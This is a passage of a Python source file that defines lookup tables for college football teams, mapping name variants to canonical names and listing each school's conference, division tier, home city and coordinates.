Iowa',\n 'Northwestern' : 'Northwestern',\n 'Northwestern State' : 'Northwestern State',\n 'Notre Dame' : 'Notre Dame',\n 'Ohio' : 'Ohio',\n 'Ohio State' : 'Ohio State',\n 'Oklahoma' : 'Oklahoma',\n 'Oklahoma State' : 'Oklahoma State',\n 'Old Dominion' : 'Old Dominion',\n 'Ole Miss' : 'Ole Miss',\n 'Oregon' : 'Oregon',\n 'Oregon State' : 'Oregon State',\n 'Pacific' : 'Pacific', # Some D3 School\n 'Penn State' : 'Penn State',\n 'Pennsylvania' : 'Pennsylvania',\n 'Pittsburgh' : 'Pittsburgh',\n 'Portland State' : 'Portland State',\n 'Prairie View A&M' : 'Prairie View A&M',\n 'Presbyterian' : 'Presbyterian',\n 'Presbyterian College' : 'Presbyterian',\n 'Princeton' : 'Princeton',\n 'Purdue' : 'Purdue',\n 'Rhode Island' : 'Rhode Island',\n 'Rice' : 'Rice',\n 'Richmond' : 'Richmond',\n 'Robert Morris' : 'Robert Morris',\n 'Rutgers' : 'Rutgers',\n 'S. Alabama' : 'South Alabama',\n 'S. Cal' : 'USC',\n 'S. California' : 'USC',\n 'S. Carolina' : 'South Carolina',\n 'S. Dakota' : 'South Dakota',\n 'S. Florida' : 'South Florida',\n 'S. Illinois' : 'Southern Illinois',\n 'S. Illinois-Carbondale' : 'Southern Illinois',\n 'S. Louisiana' : 'Southeastern Louisiana',\n 'S. Methodist' : 'SMU',\n 'S. Miss' : 'Southern Miss',\n 'S. Mississippi' : 'Southern Miss',\n 'S. State' : 'South Carolina State',\n 'S. University' : 'SMU',\n 'S. Utah' : 'Southern Utah',\n 'SMU' : 'SMU',\n 'Sacred Heart' : 'Sacred Heart',\n 'Saint Francis' : 'Saint Francis',\n 'Sam Houston State' : 'Sam Houston State',\n 'Samford' : 'Samford',\n 'San Diego' : 'San Diego',\n 'San Diego State' : 'San Diego State',\n 'San Jose State' : 'San Jose State',\n 'Savannah State' : 'Savannah State',\n 'South Alabama' : 'South Alabama',\n 'South Carolina' : 'South Carolina',\n 'South Carolina State' : 'South Carolina State',\n 'South Dakota' : 'South Dakota',\n 'South Dakota State' : 'South Dakota State',\n 'USF' : 'South Florida',\n 'South Florida' : 'South Florida',\n 'Southeast Missouri State' : 'Southeast Missouri State',\n 'Southeastern Louisiana' : 'Southeastern Louisiana',\n 'Southern' : 'Southern',\n 'Southern Cal' : 'USC',\n 'Southern California' : 'USC',\n 'Southern Illinois' : 'Southern Illinois',\n 'Southern Illinois-Carbondale' : 'Southern Illinois',\n 'Southern Methodist' : 'SMU',\n 'Southern Methodist University' : 'SMU',\n 'Southern Miss' : 'Southern Miss',\n 'Soutern Miss' : 'Southern Miss',\n 'Southern Mississippi' : 'Southern Miss',\n 'Southern University' : 'Southern',\n 'Southern Utah' : 'Southern Utah',\n 'Stanford' : 'Stanford',\n 'Stephen F. Austin' : 'Stephen F. Austin',\n 'Stephen F. Austin State' : 'Stephen F. Austin',\n 'Stetson' : 'Stetson',\n 'Stony Brook' : 'Stony Brook',\n 'Syracuse' : 'Syracuse',\n 'TCU' : 'TCU',\n 'Temple' : 'Temple',\n 'Tennessee' : 'Tennessee',\n 'Tennessee State' : 'Tennessee State',\n 'Tennessee Technological' : 'Tennessee Technological',\n 'Tennessee-Chattanooga' : 'Tennessee-Chattanooga',\n 'Tennessee-Martin' : 'Tennessee-Martin',\n 'Texas' : 'Texas',\n 'Texas A&M' : 'Texas A&M',\n 'Texas A&M;' : 'Texas A&M',\n 'Texas Christian' : 'TCU',\n 'Texas San Antonio' : 'UTSA',\n 'Texas Southern' : 'Texas Southern',\n 'Texas State' : 'Texas State',\n 'Texas Tech' : 'Texas Tech',\n 'Texas-El Paso' : 'Texas-El Paso',\n 'Texas-San Antonio' : 'Texas-San Antonio',\n 'The Citadel, The Military College of S. Carolina' : 'Citadel',\n 'The Citadel, The Military College of South Carolina' : 'Citadel',\n 'Toledo' : 'Toledo',\n 'Towson' : 'Towson',\n 'Troy' : 'Troy',\n 'Tulane' : 'Tulane',\n 'Tulsa' : 'Tulsa',\n 'UAB' : 'UAB',\n 'UCF' : 'UCF',\n 'UCLA' : 'UCLA',\n 'UNLV' : 'UNLV',\n 'USC' : 'USC',\n 'UTEP' : 'UTEP',\n 'UTSA' : 'UTSA',\n 'Ucla' : 'UCLA',\n 'Utah' : 'Utah',\n 'Utah State' : 'Utah State',\n 'Valparaiso' : 'Valparaiso',\n 'Vanderbilt' : 'Vanderbilt',\n 'Villanova' : 'Villanova',\n 'Virginia' : 'Virginia',\n 'VMI' : 'Virginia Military Institute',\n 'Virginia Military Institute' : 'Virginia Military Institute',\n 'Virginia Tech' : 'Virginia Tech',\n 'W. Carolina' : 'Western Carolina',\n 'W. Illinois' : 'Western Illinois',\n 'W. Kentucky' : 'Western Kentucky',\n 'W. Michigan' : 'Western Michigan',\n 'W. Virginia' : 'West Virginia',\n 'W.Va.' : 'West Virginia',\n 'Wagner' : 'Wagner',\n 'Wagner College' : 'Wagner',\n 'Wake Forest' : 'Wake Forest',\n 'Washington' : 'Washington',\n 'Washington St.' : 'Washington State',\n 'Washington State' : 'Washington State',\n 'Weber State' : 'Weber State',\n 'West Virginia' : 'West Virginia',\n 'Western Carolina' : 'Western Carolina',\n 'Western Illinois' : 'Western Illinois',\n 'Western Kentucky' : 'Western Kentucky',\n 'Western Michigan' : 'Western Michigan',\n 'William & Mary' : 'College of William & Mary',\n 'Wisconsin' : 'Wisconsin',\n 'Wofford' : 'Wofford',\n 'Wofford College' : 'Wofford',\n 'Wyoming' : 'Wyoming',\n 'Yale' : 'Yale',\n 'Youngstown State' : 'Youngstown State',\n 'the Incarnate Word' : 'Incarnate Word'\n}\n\nCONF = { # Pulled from wiki. Easier to add here than to join datasets later.\n 'Abilene Christian' : 'Southland',\n 'Air Force' : 'Mountain West',\n 'Akron' : 'Mid-American',\n 'Alabama' : 'SEC',\n 'Alabama A&M' : 'SWAC',\n 'Alabama State' : 'SWAC',\n 'Albany' : 'CAA',\n 'Alcorn State' : 'SWAC',\n 'Appalachian State' : 'Sun Belt',\n 'Arizona' : 'Pac-12',\n 'Arizona State' : 'Pac-12',\n 'Arkansas' : 'SEC',\n 'Arkansas State' : 'Sun Belt',\n 'Arkansas-Pine Bluff' : 'SWAC',\n 'Army' : 'FBS Independents',\n 'Auburn' : 'SEC',\n 'Austin Peay' : 'Ohio Valley',\n 'BYU' : 'FBS Independents',\n 'Ball State' : 'Mid-American',\n 'Baylor' : 'Big 12',\n 'Bethune-Cookman' : 'MEAC',\n 'Boise State' : 'Mountain West',\n 'Boston College' : 'ACC',\n 'Bowling Green' : 'Mid-American',\n 'Brown' : 'Ivy',\n 'Bryant' : 'Northeast',\n 'Bucknell' : 'Patriot League',\n 'Buffalo' : 'Mid-American',\n 'Butler' : 'Pioneer',\n 'California Polytechnic State' : 'Big Sky',\n 'California' : 'Pac-12',\n 'Campbell' : 'Pioneer',\n 'Central Arkansas' : 'Southland',\n 'Central Connecticut' : 'Northeast',\n 'Central Michigan' : 'Mid-American',\n 'Charleston Southern' : 'Big South',\n 'Charlotte' : 'Conference USA',\n 'Chattanooga' : 'Southern',\n 'Cincinnati' : 'American Athletic',\n 'Clemson' : 'ACC',\n 'Coastal Carolina' : 'Big South',\n 'Colgate' : 'Patriot League',\n 'Colorado' : 'Pac-12',\n 'Colorado State' : 'Mountain West',\n 'Columbia' : 'Ivy',\n 'Connecticut' : 'American Athletic',\n 'Cornell' : 'Ivy',\n 'Dartmouth' : 'Ivy',\n 'Davidson' : 'Pioneer',\n 'Dayton' : 'Pioneer',\n 'Delaware' : 'CAA',\n 'Delaware State' : 'MEAC',\n 'Drake' : 'Pioneer',\n 'Duke' : 'ACC',\n 'Duquesne' : 'Northeast',\n 'East Carolina' : 'American Athletic',\n 'East Tennessee State' : 'FCS Independents',\n 'Eastern Illinois' : 'Ohio Valley',\n 'Eastern Kentucky' : 'Ohio Valley',\n 'Eastern Michigan' : 'Mid-American',\n 'Eastern Washington' : 'Big Sky',\n 'Elon' : 'CAA',\n 'Florida' : 'SEC',\n 'Florida A&M' : 'MEAC',\n 'Florida Atlantic' : 'Conference USA',\n 'Florida International' : 'Conference USA',\n 'Florida State' : 'ACC',\n 'Fordham' : 'Patriot League',\n 'Fresno State' : 'Mountain West',\n 'Furman' : 'Southern',\n 'Gardner-Webb' : 'Big South',\n 'Georgetown' : 'Patriot League',\n 'Georgia' : 'SEC',\n 'Georgia Southern' : 'Sun Belt',\n 'Georgia State' : 'Sun Belt',\n 'Georgia Tech' : 'ACC',\n 'Grambling State' : 'SWAC',\n 'Hampton' : 'MEAC',\n 'Harvard' : 'Ivy',\n 'Hawaii' : 'Mountain West',\n 'Holy Cross' : 'Patriot League',\n 'Houston' : 'American Athletic',\n 'Houston Baptist' : 'Southland',\n 'Howard' : 'MEAC',\n 'Idaho' : 'Sun Belt',\n 'Idaho State' : 'Big Sky',\n 'Illinois' : 'Big Ten',\n 'Illinois State' : 'Missouri Valley',\n 'Incarnate Word' : 'Southland',\n 'Indiana' : 'Big Ten',\n 'Indiana State' : 'Missouri Valley',\n 'Iowa' : 'Big Ten',\n 'Iowa State' : 'Big 12',\n 'Jackson State' : 'SWAC',\n 'Jacksonville' : 'Pioneer',\n 'Jacksonville State' : 'Ohio Valley',\n 'James Madison' : 'CAA',\n 'Kansas' : 'Big 12',\n 'Kansas State' : 'Big 12',\n 'Kennesaw State' : 'Big South',\n 'Kent State' : 'Mid-American',\n 'Kentucky' : 'SEC',\n 'LSU' : 'SEC',\n 'Lafayette' : 'Patriot League',\n 'Lamar' : 'Southland',\n 'Lehigh' : 'Patriot League',\n 'Liberty' : 'Big South',\n 'Louisiana Tech' : 'Conference USA',\n 'Louisiana-Lafayette' : 'Sun Belt',\n 'Louisiana-Monroe' : 'Sun Belt',\n 'Louisville' : 'ACC',\n 'Maine' : 'CAA',\n 'Marist' : 'Pioneer',\n 'Marshall' : 'Conference USA',\n 'Maryland' : 'Big Ten',\n 'Massachusetts' : 'Mid-American',\n 'McNeese State' : 'Southland',\n 'Memphis' : 'American Athletic',\n 'Mercer' : 'Southern',\n 'Miami (FL)' : 'ACC',\n 'Miami (OH)' : 'Mid-American',\n 'Michigan' : 'Big Ten',\n 'Michigan State' : 'Big Ten',\n 'Middle Tennessee' : 'Conference USA',\n 'Minnesota' : 'Big Ten',\n 'Miss St' : 'SEC',\n 'Mississippi' : 'SEC',\n 'Mississippi State' : 'SEC',\n 'Mississippi Valley State' : 'SWAC',\n 'Missouri' : 'SEC',\n 'Missouri State' : 'Missouri Valley',\n 'Monmouth' : 'Big South',\n 'Montana' : 'Big Sky',\n 'Montana State' : 'Big Sky',\n 'Morehead State' : 'Pioneer',\n 'Morgan State' : 'MEAC',\n 'Murray State' : 'Ohio Valley',\n 'Navy' : 'American Athletic',\n 'Nebraska' : 'Big Ten',\n 'Nevada' : 'Mountain West',\n 'New Hampshire' : 'CAA',\n 'New Mexico' : 'Mountain West',\n 'New Mexico State' : 'Sun Belt',\n 'Nicholls State' : 'Southland',\n 'Norfolk State' : 'MEAC',\n 'North Carolina' : 'ACC',\n 'North Carolina A&T' : 'MEAC',\n 'North Carolina Central' : 'MEAC',\n 'NC State' : 'ACC',\n 'North Dakota' : 'Big Sky',\n 'North Dakota State' : 'Missouri Valley',\n 'North Texas' : 'Conference USA',\n 'Northern Arizona' : 'Big Sky',\n 'Northern Colorado' : 'Big Sky',\n 'Northern Illinois' : 'Mid-American',\n 'Northern Iowa' : 'Missouri Valley',\n 'Northwestern' : 'Big Ten',\n 'Northwestern State' : 'Southland',\n 'Notre Dame' : 'FBS Independents',\n 'Ohio' : 'Mid-American',\n 'Ohio State' : 'Big Ten',\n 'Oklahoma' : 'Big 12',\n 'Oklahoma State' : 'Big 12',\n 'Old Dominion' : 'Conference USA',\n 'Ole Miss' : 'SEC',\n 'Oregon' : 'Pac-12',\n 'Oregon State' : 'Pac-12',\n 'Penn State' : 'Big Ten',\n 'Pennsylvania' : 'Ivy',\n 'Pittsburgh' : 'ACC',\n 'Portland State' : 'Big Sky',\n 'Prairie View A&M' : 'SWAC',\n 'Presbyterian' : 'Big South',\n 'Princeton' : 'Ivy',\n 'Purdue' : 'Big Ten',\n 'Rhode Island' : 'CAA',\n 'Rice' : 'Conference USA',\n 'Richmond' : 'CAA',\n 'Robert Morris' : 'Northeast',\n 'Rutgers' : 'Big Ten',\n 'SMU' : 'American Athletic',\n 'California State-Sacramento' : 'Big Sky',\n 'Sacred Heart' : 'Northeast',\n 'Sam Houston State' : 'Southland',\n 'Samford' : 'Southern',\n 'San Diego' : 'Pioneer',\n 'San Diego State' : 'Mountain West',\n 'San Jose State' : 'Mountain West',\n 'Savannah State' : 'MEAC',\n 'South Alabama' : 'Sun Belt',\n 'South Carolina' : 'SEC',\n 'South Carolina State' : 'MEAC',\n 'South Dakota' : 'Missouri Valley',\n 'South Dakota State' : 'Missouri Valley',\n 'South Florida' : 'American Athletic',\n 'Southeast Missouri State' : 'Ohio Valley',\n 'Southeastern Louisiana' : 'Southland',\n 'Southern' : 'SWAC', \n 'Southern Illinois' : 'Missouri Valley',\n 'Southern Miss' : 'Conference USA',\n 'Southern Utah' : 'Big Sky',\n 'St Francis (PA)' : 'Northeast',\n 'Stanford' : 'Pac-12',\n 'Stephen F. Austin' : 'Southland',\n 'Stetson' : 'Pioneer',\n 'Stony Brook' : 'CAA',\n 'Syracuse' : 'ACC',\n 'TCU' : 'Big 12',\n 'Temple' : 'American Athletic',\n 'Tennessee' : 'SEC',\n 'Tennessee State' : 'Ohio Valley',\n 'Tennessee Tech' : 'Ohio Valley',\n 'Tennessee-Martin' : 'Ohio Valley',\n 'Texas' : 'Big 12',\n 'Texas A&M' : 'SEC',\n 'UTSA' : 'Conference USA',\n 'Texas Southern' : 'SWAC',\n 'Texas State' : 'Sun Belt',\n 'Texas Tech' : 'Big 12',\n 'The Citadel' : 'Southern',\n 'Toledo' : 'Mid-American',\n 'Towson' : 'CAA',\n 'Troy' : 'Sun Belt',\n 'Tulane' : 'American Athletic',\n 'Tulsa' : 'American Athletic',\n 'UAB' : 'Conference USA',\n 'UC Davis' : 'Big Sky',\n 'UCF' : 'American Athletic',\n 'UCLA' : 'Pac-12',\n 'UNLV' : 'Mountain West',\n 'USC' : 'Pac-12',\n 'UTEP' : 'Conference USA',\n 'Utah' : 'Pac-12',\n 'Utah State' : 'Mountain West',\n 'VMI' : 'Southern',\n 'Valparaiso' : 'Pioneer',\n 'Vanderbilt' : 'SEC',\n 'Villanova' : 'CAA',\n 'Virginia' : 'ACC',\n 'Virginia Tech' : 'ACC',\n 'Wagner' : 'Northeast',\n 'Wake Forest' : 'ACC',\n 'Washington' : 'Pac-12',\n 'Washington State' : 'Pac-12',\n 'Weber State' : 'Big Sky',\n 'West Virginia' : 'Big 12',\n 'Western Carolina' : 'Southern',\n 'Western Illinois' : 'Missouri Valley',\n 'Western Kentucky' : 'Conference USA',\n 'Western Michigan' : 'Mid-American',\n 'William & Mary' : 'CAA',\n 'Wisconsin' : 'Big Ten',\n 'Wofford' : 'Southern',\n 'Wyoming' : 'Mountain West',\n 'Yale' : 'Ivy',\n 'Youngstown State' : 'Missouri Valley'\n}\n\nDIV = {\n 'American Athletic' : 'G5',\n 'ACC' : 'P5',\n 'Big 12' : 'P5',\n 'Big Ten' : 'P5',\n 'Conference USA' : 'G5',\n 'FBS Independents' : 'P5', # Most schools count these as P5 Opponents\n 'Mid-American' : 'G5',\n 'Mountain West' : 'G5',\n 'Pac-12' : 'P5',\n 'SEC' : 'P5',\n 'Sun Belt' : 'G5',\n 'Big Sky' : 'FCS',\n 'Big South' : 'FCS',\n 'CAA' : 'FCS',\n 'FCS Independents' : 'FCS',\n 'Ivy' : 'FCS',\n 'MEAC' : 'FCS',\n 'Missouri Valley' : 'FCS',\n 'Northeast' : 'FCS',\n 'Ohio Valley' : 'FCS',\n 'Patriot League' : 'FCS',\n 'Pioneer' : 'FCS',\n 'Southern' : 'FCS',\n 'Southland' : 'FCS',\n 'SWAC' : 'FCS'\n}\n\nTEAM_LOC = { \n# Some teams had to be renamed here to be compatible with ESPN data\n# I pulled data from wiki and ran a quick cleaning algorithm on it.\n# If the uni hasn't come up in the data, I haven't fixed the name.\n# i.e. the Incarnate Word hasn't been fixed because there hasn't been a need.\n 'Abilene Christian' : 'Abilene, Texas',\n 'Air Force' : 'Colorado Springs, Colorado',\n 'Akron' : 'Akron, Ohio',\n 'Alabama' : 'Tuscaloosa, Alabama',\n 'Alabama A&M' : 'Normal, Alabama',\n 'Alabama State' : 'Montgomery, Alabama',\n 'Albany' : 'Albany, New York',\n 'Alcorn State' : 'Lorman, Mississippi',\n 'Appalachian State' : 'Boone, North Carolina',\n 'Arizona' : 'Tucson, Arizona',\n 'Arizona State' : 'Tempe, Arizona',\n 'Arkansas' : 'Fayetteville, Arkansas',\n 'Arkansas State' : 'Jonesboro, Arkansas',\n 'Arkansas-Pine Bluff' : 'Pine Bluff, Arkansas',\n 'Army' : 'West Point, New York',\n 'Auburn' : 'Auburn, Alabama',\n 'Austin Peay' : 'Clarksville, Tennessee',\n 'Ball State' : 'Muncie, Indiana',\n 'Baylor' : 'Waco, Texas',\n 'Bethune-Cookman' : 'Daytona Beach, Florida',\n 'Boise State' : 'Boise, Idaho',\n 'Boston College' : 'Chestnut Hill, Massachusetts',\n 'Bowling Green' : 'Bowling Green, Ohio',\n 'Brown' : 'Providence, Rhode Island',\n 'Bryant' : 'Smithfield, Rhode Island',\n 'Bucknell' : 'Lewisberg, Pennsylvania',\n 'Buffalo' : 'Buffalo, New York',\n 'Butler' : 'Indianapolis, Indiana',\n 'BYU' : 'Provo, Utah',\n 'California' : 'Berkeley, California',\n 'California Polytechnic State' : 'San Luis Obispo, California',\n 'California State-Sacramento' : 'Sacramento, California',\n 'California-Davis' : 'Davis, California',\n 'Campbell' : 'Buies Creek, North Carolina',\n 'Central Arkansas' : 'Conway, Arkansas',\n 'Central Connecticut State' : 'New Britain, Connecticut',\n 'Central Michigan' : 'Mount Pleasant, Michigan',\n 'Charleston Southern' : 'North Charleston, South Carolina',\n 'Charlotte' : 'Charlotte, North Carolina',\n 'Cincinnati' : 'Cincinnati, Ohio',\n 'Clemson' : 'Clemson, South Carolina',\n 'Coastal Carolina' : 'Conway, South Carolina',\n 'Colgate' : 'Hamilton, New York',\n 'College of William & Mary' : 'Williamsburg, Virginia',\n 'Holy Cross' : 'Worcester, Massachusetts',\n 'Colorado' : 'Boulder, Colorado',\n 'Colorado State' : 'Fort Collins, Colorado',\n 'Columbia' : 'New York, New York',\n 'Connecticut' : 'Storrs, Connecticut',\n 'Cornell' : 'Ithaca, New York',\n 'Dartmouth' : 'Hanover, New Hampshire',\n 'Davidson' : 'Davidson, North Carolina',\n 'Davidson College' : 'Davidson, North Carolina',\n 'Dayton' : 'Dayton, Ohio',\n 'Delaware' : 'Newark, Delaware',\n 'Delaware State' : 'Dover, Delaware',\n 'Drake' : 'Des Moines, Iowa',\n 'Duke' : 'Durham, North Carolina',\n 'Duquesne' : 'Pittsburgh, Pennsylvania',\n 'East Carolina' : 'Greenville, North Carolina',\n 'East Tennessee State' : 'Johnson City, Tennessee',\n 'Eastern Illinois' : 'Charleston, Illinois',\n 'Eastern Kentucky' : 'Richmond, Kentucky',\n 'Eastern Michigan' : 'Ypsilanti, Michigan',\n 'Eastern Washington' : 'Cheney, Washington',\n 'Elon' : 'Elon, North Carolina',\n 'FIU' : 'Miami, Florida',\n 'Florida' : 'Gainesville, Florida',\n 'Florida A&M' : 'Tallahassee, Florida',\n 'Florida Atlantic' : 'Boca Raton, Florida',\n 'Florida International' : 'Miami, Florida',\n 'Florida State' : 'Tallahassee, Florida',\n 'Fordham' : 'New York, New York',\n 'Fresno State' : 'Fresno, California',\n 'Furman' : 'Greenville, South Carolina',\n 'Gardner–Webb' : 'Boiling Springs, North Carolina',\n 'Georgetown' : 'Washington, D.C.',\n 'Georgia' : 'Athens, Georgia',\n 'Georgia Southern' : 'Statesboro, Georgia',\n 'Georgia State' : 'Atlanta, Georgia',\n 'Georgia Tech' : 'Atlanta, Georgia',\n 'Grambling State' : 'Grambling, Louisiana',\n 'Hampton' : 'Hampton, Virginia',\n 'Harvard' : 'Cambridge, Massachusetts',\n 'Hawaii' : 'Honolulu, Hawaii',\n 'Houston' : 'Houston, Texas',\n 'Houston Baptist' : 'Houston, Texas',\n 'Howard' : 'Washington, D.C.',\n 'Idaho' : 'Moscow, Idaho',\n 'Idaho State' : 'Pocatello, Idaho',\n 'Illinois' : 'Urbana-Champaign, Illinois',\n 'Illinois State' : 'Normal, Illinois',\n 'Indiana' : 'Bloomington, Indiana',\n 'Indiana State' : 'Terre Haute, Indiana',\n 'Iowa' : 'Iowa City, Iowa',\n 'Iowa State' : 'Ames, Iowa',\n 'Jackson State' : 'Jackson, Mississippi',\n 'Jacksonville' : 'Jacksonville, Florida',\n 'Jacksonville State' : 'Jacksonville, Alabama',\n 'James Madison' : 'Harrisonburg, Virginia',\n 'Kansas' : 'Lawrence, Kansas',\n 'Kansas State' : 'Manhattan, Kansas',\n 'Kennesaw State' : 'Kennesaw, Georgia',\n 'Kent State' : 'Kent, Ohio',\n 'Kentucky' : 'Lexington, Kentucky',\n 'LSU' : 'Baton Rouge, Louisiana',\n 'Lafayette College' : 'Easton, Pennsylvania',\n 'Lamar' : 'Beaumont, Texas',\n 'Lehigh' : 'Bethlehem, Pennsylvania',\n 'Liberty' : 'Lynchburg, Virginia',\n 'Louisiana Tech' : 'Ruston, Louisiana',\n 'Louisiana-Lafayette' : 'Lafayette, Louisiana',\n 'Louisiana-Monroe' : 'Monroe, Louisiana',\n 'Louisville' : 'Louisville, Kentucky',\n 'Maine' : 'Orono, Maine',\n 'Marist' : 'Poughkeepsie, New York',\n 'Marshall' : 'Huntington, West Virginia',\n 'Maryland' : 'College Park, Maryland',\n 'Massachusetts' : 'Amherst, Massachusetts',\n 'McNeese State' : 'Lake Charles, Louisiana',\n 'Memphis' : 'Memphis, Tennessee',\n 'Mercer' : 'Macon, Georgia',\n 'Miami (FL)' : 'Coral Gables, Florida',\n 'Miami (OH)' : 'Oxford, Ohio',\n 'Michigan' : 'Ann Arbor, Michigan',\n 'Michigan State' : 'East Lansing, Michigan',\n 'Middle Tennessee' : 'Murfreesboro, Tennessee',\n 'Minnesota' : 'Minneapolis, Minnesota',\n 'Miss St' : 'Starkville, Mississippi',\n 'Mississippi' : 'Oxford, Mississippi',\n 'Mississippi State' : 'Starkville, Mississippi',\n 'Mississippi Valley State' : 'Itta Bena, Mississippi',\n 'Missouri' : 'Columbia, Missouri',\n 'Missouri State' : 'Springfield, Missouri',\n 'Monmouth' : 'West Long Branch, New Jersey',\n 'Montana' : 'Missoula, Montana',\n 'Montana State' : 'Bozeman, Montana',\n 'Morehead State' : 'Morehead, Kentucky',\n 'Morgan State' : 'Baltimore, Maryland',\n 'Murray State' : 'Murray, Kentucky',\n 'NC State' : 'Raleigh, North Carolina',\n 'NIU' : 'DeKalb, Illinois',\n 'Navy' : 'Annapolis, Maryland',\n 'Nebraska' : 'Lincoln, Nebraska',\n 'Nevada' : 'Reno, Nevada',\n 'Nevada-Las Vegas' : 'Las Vegas, Nevada',\n 'New Hampshire' : 'Durham, New Hampshire',\n 'New Mexico' : 'Albuquerque, New Mexico',\n 'New Mexico State' : 'Las Cruces, New Mexico',\n 'Nicholls State' : 'Thibodaux, Louisiana',\n 'Norfolk State' : 'Norfolk, Virginia',\n 'North Carolina' : 'Chapel Hill, North Carolina',\n 'North Carolina A&T' : 'Greensboro, North Carolina',\n 'North Carolina Central' : 'Durham, North Carolina',\n 'North Dakota' : 'Grand Forks, North Dakota',\n 'North Dakota State' : 'Fargo, North Dakota',\n 'North Texas' : 'Denton, Texas',\n 'Northern Arizona' : 'Flagstaff, Arizona',\n 'Northern Colorado' : 'Greeley, Colorado',\n 'Northern Illinois' : 'DeKalb, Illinois',\n 'Northern Iowa' : 'Cedar Falls, Iowa',\n 'Northwestern' : 'Evanston, Illinois',\n 'Northwestern State' : 'Natchitoches, Louisiana',\n 'Notre Dame' : 'South Bend, Indiana',\n 'Ohio' : 'Athens, Ohio',\n 'Ohio State' : 'Columbus, Ohio',\n 'Oklahoma' : 'Norman, Oklahoma',\n 'Oklahoma State' : 'Stillwater, Oklahoma',\n 'Old Dominion' : 'Norfolk, Virginia',\n 'Ole Miss' : 'Oxford, Mississippi',\n 'Oregon' : 'Eugene, Oregon',\n 'Oregon State' : 'Corvallis, Oregon',\n 'Penn State' : 'State College, Pennsylvania',\n 'Pennsylvania' : 'Philadelphia, Pennsylvania',\n 'Pittsburgh' : 'Pittsburgh, Pennsylvania',\n 'Portland State' : 'Portland, Oregon',\n 'Prairie View A&M' : 'Prairie View, Texas',\n 'Presbyterian' : 'Clinton, South Carolina',\n 'Princeton' : 'Princeton, New Jersey',\n 'Purdue' : 'West Lafayette, Indiana',\n 'Rhode Island' : 'Kingston, Rhode Island',\n 'Rice' : 'Houston, Texas',\n 'Richmond' : 'Richmond, Virginia',\n 'Robert Morris' : 'Moon Township, Pennsylvania',\n 'Rutgers' : 'New Brunswick, New Jersey',\n 'SMU' : 'University Park, Texas',\n 'Sacred Heart' : 'Fairfield, Connecticut',\n 'Saint Francis' : 'Loretto, Pennsylvania',\n 'Sam Houston State' : 'Huntsville, Texas',\n 'Samford' : 'Birmingham, Alabama',\n 'San Diego' : 'San Diego, California',\n 'San Diego State' : 'San Diego, California',\n 'San Jose State' : 'San Jose, California',\n 'Savannah State' : 'Savannah, Georgia',\n 'South Alabama' : 'Mobile, Alabama',\n 'South Carolina' : 'Columbia, South Carolina',\n 'South Carolina State' : 'Orangeburg, South Carolina',\n 'South Dakota' : 'Vermillion, South Dakota',\n 'South Dakota State' : 'Brookings, South Dakota',\n 'South Florida' : 'Tampa, Florida',\n 'Southeast Missouri State' : 'Cape Girardeau, Missouri',\n 'Southeastern Louisiana' : 'Hammond, Louisiana',\n 'Southern' : 'Baton Rouge, Louisiana',\n 'Southern Illinois' : 'Carbondale, Illinois',\n 'Southern Miss' : 'Hattiesburg, Mississippi',\n 'Southern Utah' : 'Cedar City, Utah',\n 'Stanford' : 'Stanford, California',\n 'Stephen F. Austin' : 'Nacogdoches, Texas',\n 'Stetson' : 'DeLand, Florida',\n 'Stony Brook' : 'Stony Brook, New York',\n 'Syracuse' : 'Syracuse, New York',\n 'TCU' : 'Fort Worth, Texas',\n 'Temple' : 'Philadelphia, Pennsylvania',\n 'Tennessee' : 'Knoxville, Tennessee',\n 'Tennessee State' : 'Nashville, Tennessee',\n 'Tennessee Technological' : 'Cookeville, Tennessee',\n 'Tennessee-Chattanooga' : 'Chattanooga, Tennessee',\n 'Tennessee-Martin' : 'Martin, Tennessee',\n 'Texas' : 'Austin, Texas',\n 'Texas A&M' : 'College Station, Texas',\n 'Texas Southern' : 'Houston, Texas',\n 'Texas State' : 'San Marcos, Texas',\n 'Texas Tech' : 'Lubbock, Texas',\n 'The Citadel, The Military College of South Carolina' : 'Charleston, South Carolina',\n 'Toledo' : 'Toledo, Ohio',\n 'Towson' : 'Towson, Maryland',\n 'Troy' : 'Troy, Alabama',\n 'Tulane' : 'New Orleans, Louisiana',\n 'Tulsa' : 'Tulsa, Oklahoma',\n 'UAB' : 'Birmingham, Alabama',\n 'UCF' : 'Orlando, Florida',\n 'UCLA' : 'Los Angeles, California',\n 'UNLV' : 'Las Vegas, Nevada',\n 'USC' : 'Los Angeles, California',\n 'UTEP' : 'El Paso, Texas',\n 'UTSA' : 'San Antonio, Texas',\n 'Utah' : 'Salt Lake City, Utah',\n 'Utah State' : 'Logan, Utah',\n 'Valparaiso' : 'Valparaiso, Indiana',\n 'Vanderbilt' : 'Nashville, Tennessee',\n 'Villanova' : 'Villanova, Pennsylvania',\n 'Virginia' : 'Charlottesville, Virginia',\n 'Virginia Military Institute' : 'Lexington, Virginia',\n 'Virginia Tech' : 'Blacksburg, Virginia',\n 'Wagner' : 'Staten Island, New York',\n 'Wake Forest' : 'Winston-Salem, North Carolina',\n 'Washington' : 'Seattle, Washington',\n 'Washington State' : 'Pullman, Washington',\n 'Weber State' : 'Ogden, Utah',\n 'West Virginia' : 'Morgantown, West Virginia',\n 'Western Carolina' : 'Cullowhee, North Carolina',\n 'Western Illinois' : 'Macomb, Illinois',\n 'Western Kentucky' : 'Bowling Green, Kentucky',\n 'Western Michigan' : 'Kalamazoo, Michigan',\n 'Wisconsin' : 'Madison, Wisconsin',\n 'Wofford' : 'Spartanburg, South Carolina',\n 'Wyoming' : 'Laramie, Wyoming',\n 'Yale' : 'New Haven, Connecticut',\n 'Youngstown State' : 'Youngstown, Ohio',\n 'Incarnate Word' : 'San Antonio, Texas'\n}\n\nTEAM_COORD = {\n# It's incredibly time consuming at run time to query geopy for each uni.\n# I did a random check of 20 schools and each one was accurate.\n 'Abilene Christian' : (32.4464534, -99.7333477),\n 'Air Force' : (38.8339578, -104.8253484),\n 'Akron' : (41.0830643, -81.5184853),\n 'Alabama' : (33.2668398, -87.4862181),\n 'Alabama A & M' : (34.7889792, -86.5719368),\n 'Alabama State' : (32.3669656, -86.3006484),\n 'Albany' : (42.6511674, -73.7549679),\n 'Alcorn State' : (31.8204396, -91.0501056),\n 'Appalachian State' : (36.216795, -81.6745516),\n 'Arizona' : (32.2217422, -110.9264758),\n 'Arizona State' : (33.4144139, -111.9094473),\n 'Arkansas' : (36.113284, -94.2149247591314),\n 'Arkansas State' : (35.8428646, -90.7034521),\n 'Arkansas-Pine Bluff' : (34.2284312, -92.0031954),\n 'Army' : (41.3929109, -73.9568048),\n 'Auburn' : (32.713387, -85.465078934839),\n 'Austin 